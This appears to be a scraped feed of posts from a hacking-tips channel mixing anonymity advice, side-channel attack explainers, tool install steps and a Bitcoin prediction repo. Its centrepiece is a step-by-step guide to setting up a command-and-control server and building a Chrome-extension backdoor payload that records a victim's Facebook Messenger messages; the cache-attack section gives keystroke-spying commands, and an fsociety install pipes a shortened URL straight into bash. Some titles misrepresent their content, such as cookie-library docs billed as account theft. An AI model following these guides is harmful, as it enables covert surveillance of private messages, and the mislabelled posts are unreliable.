UNDERCODE COMMUNITY
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๐Ÿฆ‘ Undercode Cyber World!
@UndercodeCommunity


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+ AI Pratice
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@Undercode_News

3๏ธโƒฃ CVE @Daily_CVE

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โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘How to be completely anonymous online by undercOde:
t.me/UndercOdeTestingOfficial

๐Ÿฆ‘๐Ÿ…ป๐Ÿ…ด๐Ÿ†ƒ ๐Ÿ†‚ ๐Ÿ†‚๐Ÿ†ƒ๐Ÿ…ฐ๏ธ๐Ÿ†๐Ÿ†ƒ:

1) use a fake mac adress for your wlan card

2) use your linux or windows in vm machine

3) use unonsurf tool (vpn+tor server and much more)

>git clone https://github.com/Und3rf10w/kali-anonsurf

> cd kali-anonsurf

> ./installer.sh

4) use proxies

5) make sure you have lastest updates installed on your system

6) never maximize any browser

7) Never think you can be anonymous on rooted- or non rooted phone๐Ÿ˜†

! well done

@Mฬตอ˜ ฬ ฬ–rฬถฬ•.ฬตฬ ฬทอ Bฬดอ˜Oฬทฬ“Tฬถฬ†NฬดฬEฬถอ›Tฬถฬ…(tm
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
------๐–€๐–“D๐–Š๐–—๐•ฎ๐–”D๐–Š-----

๐Ÿฆ‘HACK FACEBOOK MESSANGER USING CHROME BACKDOOR ?
(t.me/UndercodeTestingOfficial)
โ˜ ๏ธFULL GUIDEโ˜ ๏ธ


๐Ÿฆ‘INSTALLISATION :

So first we need to git clone the tool.
[bash]

1)git clone https://github.com/graniet/chromebackdoor.git[/bash]

2)We can then cd into that directory, and we need to install some dependencies.
[bash]

3)apt-get install -y python-pip[/bash]


4)As we are using ubuntu we need to install python-m2crytpto
[bash]apt-get install python-m2crypto[/bash]


5)Now we can install crxmake
[bash]pip install crxmake[/bash]



6)Before we run the program it will require us to enable https, we can do this by using a built-in package within the LAMP ubuntu server, letsencrypt
[bash]letsencrypt โ€“apache[/bash]



7)We then need to follow the steps within the setup. First by entering in a domain name โ€œc2.iminyour.networkโ€. Followed by an email address โ€œdale@demmsec.co.ukโ€. Then we need to accept the terms of service, and we only allow it to be accessed over https.

8)We can now run chromebackdoor
[bash]python chromebackdoor.py[/bash]


9)This runs the program however in order to create the backdoor we need to use an argument, for this we are going to use the โ€“chrome argument
[bash]python chromebackdoor.py โ€“chrome[/bash]



10)So these next steps are kinda confusing, and the English in the program isnโ€™t well written, which doesnโ€™t help. So we need to add where the website will be hosted, in this case, we use the full URL of โ€œhttps://c2.iminyour.network/chromebackdoorโ€ then we add what we think is meant to be relay, so we enter โ€œrelaisโ€ and confirm the information is correct. We are then presented with a list menu which for this video we use the Facebook Messenger Spy, so we enter โ€œ4โ€ and this has now created a zip folder. We can now unzip the folder
[bash]unzip 22029.zip[/bash]



11)From the files that have been extracted, we then need to change the config.php file located in the /web/includes directory using your preferred text editor. We then change the first line of the .php file to.
(Instagram.com/UndercodeTestingCompany)

12)sbdd = PDO('mysql:host=localhost ; dbname=chromebackdoor', 'root','toor');


13)If you are using DigitalOcean the password file is located in
[bash]~/.digitalocean_password[/bash]



14)We can copy this and add it to our config file so we go back to the file and amend the first line and enter our DigitalOcean password

15)sbdd = PDO('mysql:host=localhost ; dbname=chromebackdoor', 'root','newpassword');


16)We then need to install phpmyadmin and auto config apache 2
[bash] apt-get install phpmyadmin[/bash]



17)We are going to use the copied password from DigitalOcean for the phpmyadmin. Once the configuration has finished we can then access the phpmyadmin web portal to add chromebackdoor to the database.

18)We need to locate the chromebackdoor.sql file we can easily find this with mobaXterm with the side panel. We then create a new folder on are host machine and copy the chromebackdoor.sql into our new folder. We then need to go back to phpmyadmin and import that file. Once that has been imported and saved we can then go to that web directory which will navigate us to the chromebackdooor web portal. We can use the credentials that are in the chromebackdoor.sql which is โ€œrootโ€ and โ€œtoorโ€ as you can see there will be nothing in the web portal.

19)If we go back to our terminal we need to add i368 architecture to enable us to use wine.
[bash]dpkg โ€“add-architecture i386[/bash]


20)Then we need to install wine
[bash] apt-get install wine[/bash]



21)This will throw errors at us, however, we can run the command to fix this issue
[bash] dpkg โ€“configure -a[/bash]
(join t.me/UndercodeTestingOfficial)

22)Now this is done we can use the build argument for the chromebackdoor
[bash]python chormebackdoor.py โ€“build[/bash]
23)We are then asked the backdoor type, in this case, it is โ€œโ€“chromeโ€ we then need to enter the location of the file โ€œ/var/www/html/chromebook/backdoor.crxโ€ this will start the install and will throw loads of errors at us, but its nothing to worry about. We are then given the option to use a Rubber Ducky Payload for this we choose โ€œnโ€

24)We can then navigate to our payload โ€œhttps://c2.iminyour.network/chromebackdoor/bot.exeโ€ this will download the file and if you have anti-virus installed, it should alert you, well it did with avast anyway ๐Ÿ˜€

25)We can then run the program which will kill chrome but this will add the extension to chrome. If we go back to the web portal we will be able to see a bot. This should now, in theory, log any facebook messages that are sent or received while the payload is running, although this is not the case. We do a bit of troubleshooting and realize that we need to install curl [bash]apt-get install -y php-curl[/bash]

26)We then need to amend the apache php.ini file located in /etc/php/7.0/apache2/ then search for โ€œcurlโ€ by using ctrl + w within nano and remove the โ€œ;โ€ from the line

27)extension=php_curl.dll
after this restart apache [bash] service apache2 restart[/bash] and now we can retest by sending another message and we should be able to see messages being saved within the web portal.

๐Ÿฆ‘i dont said we should but we donโ€™t, so we need to go back to our terminal and copy our .js files to the chromebackdoor directory [bash] cp *.js ../[/bash]

We then finally need to amend the facebookmessage.js file that we have just moved. Locate the line that has โ€œhttpโ€ in it and change it to โ€œhttpsโ€ and then a few lines down change the line that has โ€œhttp://localhost:8888โ€ฆโ€ to our domain. โ€œhttps://iminyour.network /chromebackdoor/โ€ฆ.โ€



And now!! Finally!! it is working!! We should now be able to see messages being recorded!

ENJOY :)

WRITTEN BY Airlin
-----๐–€๐–“D๐–Š๐–—๐•ฎ๐–”D๐–Š-----
โ€”โ€”โ€”Under๐•ฎ๐–”d๐–Š-โ€”โ€”-


๐Ÿฆ‘STEP BY STEP HOW POLICE TRACK
locate a lost CELL
t.me/UndercodeTestingOfficial)

๐Ÿฆ‘Step 1 โ€“ it can be tracked by โ€“ IMEI Number as well as by mobile phone number , if you donโ€™t remember the IMEI number of your mobile phone , Then your IMEI number can be easily obtained by the telecom operator company whose sim card is being used in that cell phone. Once you tell your mobile number to your telecom operator , They will tell you the IMEI Number of the cell phone in which that sim card was being used. Because whenever you insert a sim card in any cell phone and switch ON , Then it connect to the network, and your telecom operator automatically register the IMEI number of the device on network.

Step 2 โ€“ This is sure , if your phone has been stolen , The person who had stolen will defiantly switch off your cell phone , remove & either break or throughout your sim card as well as, if he is enough intelligent he will format / wipe data / factory restore that cell phone. So that any tracking software installed in the cell phone get removed
from the phone.
Open In App Sign In

Step 3 โ€“ Now he will insert his own or another Sim card in that cell phone and switch ON your cell phone . Once it connect to the network of any telecom operator , Again the IMEI Number of your cell phone will be registered on the network with different mobile number.


Step 4 โ€“ Now police department makes an enquiry from Telecom regulatory authority of your country about your Mobile IMEI Number. They will provide them the detail of that telecom operator name with the mobile number of sim card currently being used in your cell phone.

Step 5 โ€“ Now police department will contact the telecom operator of that mobile number whose sim card is being currently used in your mobile phone. The telecom operator will provide the details of all those Base tower stations (Mobile towers) , who are currently providing network to your mobile phone. Every BTS has different ID , to identify the area location .

Step 6 โ€“ Now let me tell you that โ€“ whenever your cell phone is Switched ON and accessing the network . at a time your cell phone is connected with more than one Mobile towers(BTS) located in that area. But the communication is made from only that tower which is nearest to the mobile phone location.

Step 7 โ€“ Now the theory of triangulation is applied to find exact location of your cell phone . In this method a virtual triangle of signals (radio waves) is created between the mobile phone and 3 towers who are providing network to the cell phone. Now the angle at which your cell phone exists is calculated by a mathematical formula . In this way police trace & locate any cell phone location.

๐Ÿฆ‘For Android Mobile phone :
Android Device Manager ( NO GPS Required)โ€“ This is an ultimate phone tracing software which is launched itself by Google for protection of android devices. It works even if the sim card of your cell phone is changed. This software is inbuilt in every android cell phone , but you need to manually activate this software . In order to activate this application , Go to > settings > security >Device administrator > Android device manager. Here you need to activate this software , once you activate this software , you will be able to Trace the location of your phone any time on internet by logging in to this url โ€“
https://www.google.com/ android / device manager once you go to this url , enter your Google play store user name and password . you will be able to see the current location of your cell phone. Remember this technology of tracing cell phone does not require GPS.You can remotely , wipe data on your phone , lock & change phone password , make a loud ring etc . which may help in finding your phone. The only weaker point of this application is that , if you hard reset your phone / factory restore that phone , this application will not work.


@ mr botnet
-------๐–€๐–“D๐–Š๐–—๐•ฎ๐–”D๐–Š------
Mery Christmas For all Christians Friends
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘What is Side-Channel Attack ?
t.me/UndercOdeTestingOfficial

๐Ÿฆ‘๐Ÿ…ป๐Ÿ…ด๐Ÿ†ƒ ๐Ÿ†‚ ๐Ÿ†‚๐Ÿ†ƒ๐Ÿ…ฐ๏ธ๐Ÿ†๐Ÿ†ƒ:

> A side-channel attack (SCA) is a security exploit that involves collecting information about what a computing device does when it is performing cryptographic operations and using that information to reverse engineer the device's cryptography system.

> In computing, a side channel is any communication channel that is incidental to another communication channel. Security researcher Paul Kocher is credited with coining the term side-channel attack in the 1990s when he discovered it was possible to reverse engineer security tokens by monitoring a computer's power consumption and electromagnetic emissions.

> Unlike many other types of security exploits, side-channel attacks are hardware and software agnostic. Instead of targeting a software vulnerability caused by a coding error or configuration drift, the attacker exploits the way the device's operating system (OS) accesses the hardware upon which the OS runs. Side-channel attacks can be launched against any operating system, including Windows and Linux.

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@ Mฬตอ˜ ฬ ฬ–rฬถฬ•.ฬตฬ ฬทอ Bฬดอ˜Oฬทฬ“Tฬถฬ†NฬดฬEฬถอ›Tฬถฬ…(tm
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–


๐Ÿฆ‘ALL Types of Side-Channel Attacks
instagram.com/UndercOdeTestingCompany

๐Ÿฆ‘๐Ÿ…ป๐Ÿ…ด๐Ÿ†ƒ ๐Ÿ†‚ ๐Ÿ†‚๐Ÿ†ƒ๐Ÿ…ฐ๏ธ๐Ÿ†๐Ÿ†ƒ:

> Side-channel attacks work by monitoring the emissions produced by electronic circuits when the victim's computer is being used. In addition to exploiting information about power consumption and electromagnetic fields, an attacker may actually listen to the sounds a central processing unit (CPU) produces and use that information to reverse engineer what the computer is doing. This type of side-channel attack is called an acoustic cryptanalysis attack. Other types of side-channel attack include:

1) Cache attacks that exploit how and when cache is accessed in a physical system.

2) Differential fault analysis attacks that seek to gleam information from a system by introducing faults into the systemโ€™s computations.

3) Timing attacks that track the movement of data to and from a system's CPU and memory.

4) Thermal-imaging attacks that use infrared images to observe the surface of a CPU chip and collect executed code.

5) Optical side-channel attacks that collect information about hard disk activity by using a audio/visual recorder, such as a video camera.

@Mฬตอ˜ ฬ ฬ–rฬถฬ•.ฬตฬ ฬทอ Bฬดอ˜Oฬทฬ“Tฬถฬ†NฬดฬEฬถอ›Tฬถฬ…(tm
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘ Advanced Side-Channel Analysis Toolfirst step for attack ( tested ):
instagram.com/UndercOdeTestingCompany

๐Ÿฆ‘๐•€โ„•๐•Š๐•‹๐”ธ๐•ƒ๐•ƒ๐•€๐•Š๐”ธ๐•‹๐•€๐•†โ„• & โ„๐•Œโ„•:

1) git clone https://github.com/Ledger-Donjon/lascar

2) cd lascar

3) python3 setup.py install --user

4) cd docs/

5) make html

๐Ÿฆ‘Requirements :

> numpy
> scipy
>matplotlib: for curve visualization
>vispy: for curve visualization
>sklearn: for machine learning
>keras: for deep learning
>tensorflow: keras backend
>h5py: for data storage
>progressbar2
>pytest
>numba

๐Ÿฆ‘Tutorial:
> https://github.com/Ledger-Donjon/lascar/blob/master/tutorial/01-discovering-containers.py
>https://github.com/Ledger-Donjon/lascar/blob/master/tutorial/07-session-dpa-example.py

@Mฬตอ˜ ฬ ฬ–rฬถฬ•.ฬตฬ ฬทอ Bฬดอ˜Oฬทฬ“Tฬถฬ†NฬดฬEฬถอ›Tฬถฬ…(tm
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘Dangerous tools to perform Cache Template Attacks
twitter.com/UndercOdeTC

๐Ÿฆ‘๐•€โ„•๐•Š๐•‹๐”ธ๐•ƒ๐•ƒ๐•€๐•Š๐”ธ๐•‹๐•€๐•†โ„• & โ„๐•Œโ„•:

1) git clone https://github.com/IAIK/cache_template_attacks

2) cd cache_template_attacks

3) cd calibration

4) make

5) ./calibration

๐Ÿฆ‘Running :

1) Automated keypress profiling

> cd profiling/linux_low_frequency_example

> make

> ./spy.sh 5 200 gedit # in our example we profile keypresses in gedit

2) Keypresses (with libxdotool)
In this example we perform some steps by hand to illustrate what happens in the background. Therefore, we will first find the address range to attack:

> $ cat /proc/ps -A | grep gedit | grep -oE "^[0-9]+"/maps | grep r-x | grep gdk-3
7fc963a05000-7fc963ab4000 r-xp 00000000 fc:01 2637370 /usr/lib/x86_64-linux-gnu/libgdk-3.so.0.1200.2

3) Switch to an already opened gedit window before ./spy is started. On Linux, run the following lines:

> cd profiling/linux_low_frequency_example

>make

> echo "switch to gedit window"

>sleep 5; ./spy 200 7fc963a05000-7fc963ab4000 r-xp 00000000 fc:01 2637370 /usr/lib/x86_64-linux-gnu/libgd

4) On Windows with MSYS/MinGW, run the following lines:

> cd profiling/windows_low_frequency_example

> mingw32-make

>echo "switch to notepad window"

> sleep 5; ./spy 200 C:\Windows\System32\notepad.exe > notepad.csv

5) This one had 126 cache hits during 122 key presses of the key N. And almost none when pressing other keys.

To verify our results we will now use the generic exploitation spy tool:

> cd exploitation/generic

> make

> ./spy /usr/lib/x86_64-linux-gnu/libgdk-3.so.0.1200.2 0x85ec0

6) OpenSSL AES T-Table attack
This example requires a self-compiled OpenSSL library to enable it's T-Table-based AES implementation. Place libcrypto.so in the same folder and make sure the program actually uses it as a shared library. Then run

> cd profiling/aes_example
>make
>./spy

๐Ÿฆ‘Fully automated attack
In this example we will run a script which will automatically execute the profiling phase as described before and then switch to the multi_spy exploitation tool as soon as a result is available.

Then run

1) cd exploitation/multi_spy

2) make

3) cd ../../profiling/linux_low_frequency_automated

4) ./spy.sh 5 200 /usr/lib/x86_64-linux-gnu/libgdk-3.so.0.1200.2

@Mฬตอ˜ ฬ ฬ–rฬถฬ•.ฬตฬ ฬทอ Bฬดอ˜Oฬทฬ“Tฬถฬ†NฬดฬEฬถอ›Tฬถฬ…(tm
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘hOW Does Attackers got all accounts(netflix/spootify/steam...) for victims without their knowledge Tuto buy UndercOde
instagram.com/UndercOdeTestingCompany

๐Ÿฆ‘๐•€โ„•๐•Š๐•‹๐”ธ๐•ƒ๐•ƒ๐•€๐•Š๐”ธ๐•‹๐•€๐•†โ„• & โ„๐•Œโ„•:

1) git clone https://github.com/js-cookie/js-cookie

2) cd js-cookie

3) npm i js-cookie

4) Create a cookie, valid across the entire site:

Cookies.set('name', 'value')

5) Create a cookie that expires 7 days from now, valid across the entire site:

Cookies.set('name', 'value', { expires: 7 })
Create an expiring cookie, valid to the path of the current page:

Cookies.set('name', 'value', { expires: 7, path: '' })

6) Read cookie:

Cookies.get('name') // => 'value'
Cookies.get('nothing') // => undefined

7) Read all visible cookies:

Cookies.get() // => { name: 'value' }
Note: It is not possible to read a particular cookie by passing one of the cookie attributes (which may or may not have been used when writing the cookie in question):

Cookies.get('foo', { domain: 'sub.example.com' }) // domain won't have any effect...!

8) The cookie with the name foo will only be available on .get() if it's visible from where the code is called; the domain and/or path attribute will not have an effect when reading.

9) Delete cookie:

Cookies.remove('name')

10) Delete a cookie valid to the path of the current page:

Cookies.set('name', 'value', { path: '' })
Cookies.remove('name') // fail!
Cookies.remove('name', { path: '' }) // removed!

> IMPORTANT! When deleting a cookie and you're not relying on the default attributes, you must pass the exact same path and domain attributes that were used to set the cookie:

Cookies.remove('name', { path: '', domain: '.yourdomain.com' })

USE FOR LEARNING ONLY

Written by UndercOde

โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘2019 new update Octant is a great tool for developers to understand how applications run on a Kubernetes cluster. It aims to be part of the developer's toolkit for gaining insight and approaching complexity found in Kubernetes. Octant offers a combination of introspective tooling, cluster navigation, and object management along with a plugin system to further extend its capabilities.
instagram.com/UndercOdeTestingCompany

๐Ÿฆ‘๐•€โ„•๐•Š๐•‹๐”ธ๐•ƒ๐•ƒ๐•€๐•Š๐”ธ๐•‹๐•€๐•†โ„• & โ„๐•Œโ„•:

On Any Debian base Os :(kali/parrot...)
1) Download https://github.com/vmware-tanzu/octant/releases/download/v0.9.1/octant_0.9.1_Linux-64bit.deb

2) cd Downloads

3) dpkg -i (name of Downloaded File)

๐Ÿฆ‘For Windows :

1) install using chocolatey with the following one-liner:

> choco install octant --confirm

2) Scoop

Add the extras bucket.

> download https://github.com/lukesampson/scoop-extras
+ cmd run :

> scoop bucket add extras

3) Install using scoop.

> scoop install octant

๐Ÿฆ‘Mac os

> brew install octant

๐Ÿฆ‘If You Download The .zip From release page :
> https://github.com/vmware-tanzu/octant/releases

1) tar -xzvf ~/Downloads/octant_0.X.Y_Linux-64bit.tar.gz

(octant_0.X.Y_Linux-64bit/README.md
octant_0.X.Y_Linux-64bit/octant)

2) Verify it runs:

3) ./octant_0.X.Y_Linux-64bit/octant version

๐Ÿฆ‘Tested by UndercOcde :

> Ubanto

@Mฬตอ˜ ฬ ฬ–rฬถฬ•.ฬตฬ ฬทอ Bฬดอ˜Oฬทฬ“Tฬถฬ†NฬดฬEฬถอ›Tฬถฬ…(tm
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–
โ– โ–‚ โ–„ ๏ฝ•๐•Ÿ๐”ปโ’บ๐ซฤ†๐”ฌ๐““โ“” โ–„ โ–‚ โ–

๐Ÿฆ‘fsociety Hacking Tools Pack โ€“ A Penetration Testing Framework
2019 updated termux/Linux/windows
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1) git clone https://github.com/Manisso/fsociety

2) cd fsociety

3) chmod 777 install.sh

4) bash install.sh

or
> bash <(wget -qO- https://git.io/vAtmB)

๐Ÿฆ‘Features:

Information Gathering
Password Attacks
Wireless Testing
Exploitation Tools
Sniffing & Spoofing
Web Hacking
Private Web Hacking
Post Exploitation
(for wordpress/wifi &...)

E N J O Y

@Mฬตอ˜ ฬ ฬ–rฬถฬ•.ฬตฬ ฬทอ Bฬดอ˜Oฬทฬ“Tฬถฬ†NฬดฬEฬถอ›Tฬถฬ…(tm
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๐Ÿฆ‘ For Fast Money ๐Ÿ˜
Exploiting Bitcoin prices patterns with Deep Learning
>Exploiting Bitcoin prices patterns with Deep Learning. Like OpenAI, we train our models on raw pixel data. Exactly how an experienced human would see the curves and takes an action.
t.me/UndercOdeTestingOfficial

๐Ÿฆ‘๐•€โ„•๐•Š๐•‹๐”ธ๐•ƒ๐•ƒ๐•€๐•Š๐”ธ๐•‹๐•€๐•†โ„• & โ„๐•Œโ„•:

1) git clone https://github.com/philipperemy/deep-learning-bitcoin.git

2) cd deep-learning-bitcoin

3) ./data_download.sh # will download it to /tmp/

4) python3 data_generator.py /tmp/btc-trading-patterns/ /tmp/

5) coinbaseUSD.csv 1 # 1 means we want to use quantiles on returns. 0 would mean we are interested if the bitcoin goes UP or DOWN only.

6) f you are interested into building a huge dataset (coinbase.csv contains around 18M rows), it's preferrable to run the program in background mode:

> nohup python3 -u data_generator.py /tmp/btc-trading-patterns/ /tmp/coinbaseUSD.csv 1 > /tmp/btc.out 2>&1 &
tail -f /tmp/btc.out


๐Ÿฆ‘Full Process :

1) Download Bitcoin tick data(in install & run section)

2) Convert to 5-minute data

3) Convert to Open High Low Close representation

4) Train a simple AlexNet on 20,000 samples: accuracy is 70% for predicting if asset will go UP or DOWN. Training is done on NVIDIA DIGITS and with the Caffe framework.

5) Quantify how much the price will go UP or DOWN. Because the price can go UP by epsilon percent 99% of the time, and pulls back by 50%
Train on 1,000,000+ samples (at least)

6) Apply more complex Conv Nets (at least Google LeNet)
Integrate bar volumes on the generated OHLC (Open, High, Low, Close) image

7) Use CNN attention to know what's important for which image. Maybe only a fraction of the image matters for the prediction

๐Ÿฆ‘Illustration of the dataset from CoinbaseUSD

close_price_returns close_price_returns_bins close_price_returns_labels
DateTime_UTC
2017-05-29 11:55:00 2158.86 2160.06 2155.78 2156.00 21.034283 0.000000 (-0.334, 0.015] 5
2017-05-29 12:00:00 2155.98 2170.88 2155.79 2158.53 47.772555 0.117347 (0.015, 0.364] 6
2017-05-29 12:05:00 2158.49 2158.79 2141.12 2141.92 122.332090 -0.769505 (-1.0322, -0.683] 3
2017-05-29 12:10:00 2141.87 2165.90 2141.86 2162.44 87.253402 0.958019 (0.713, 1.

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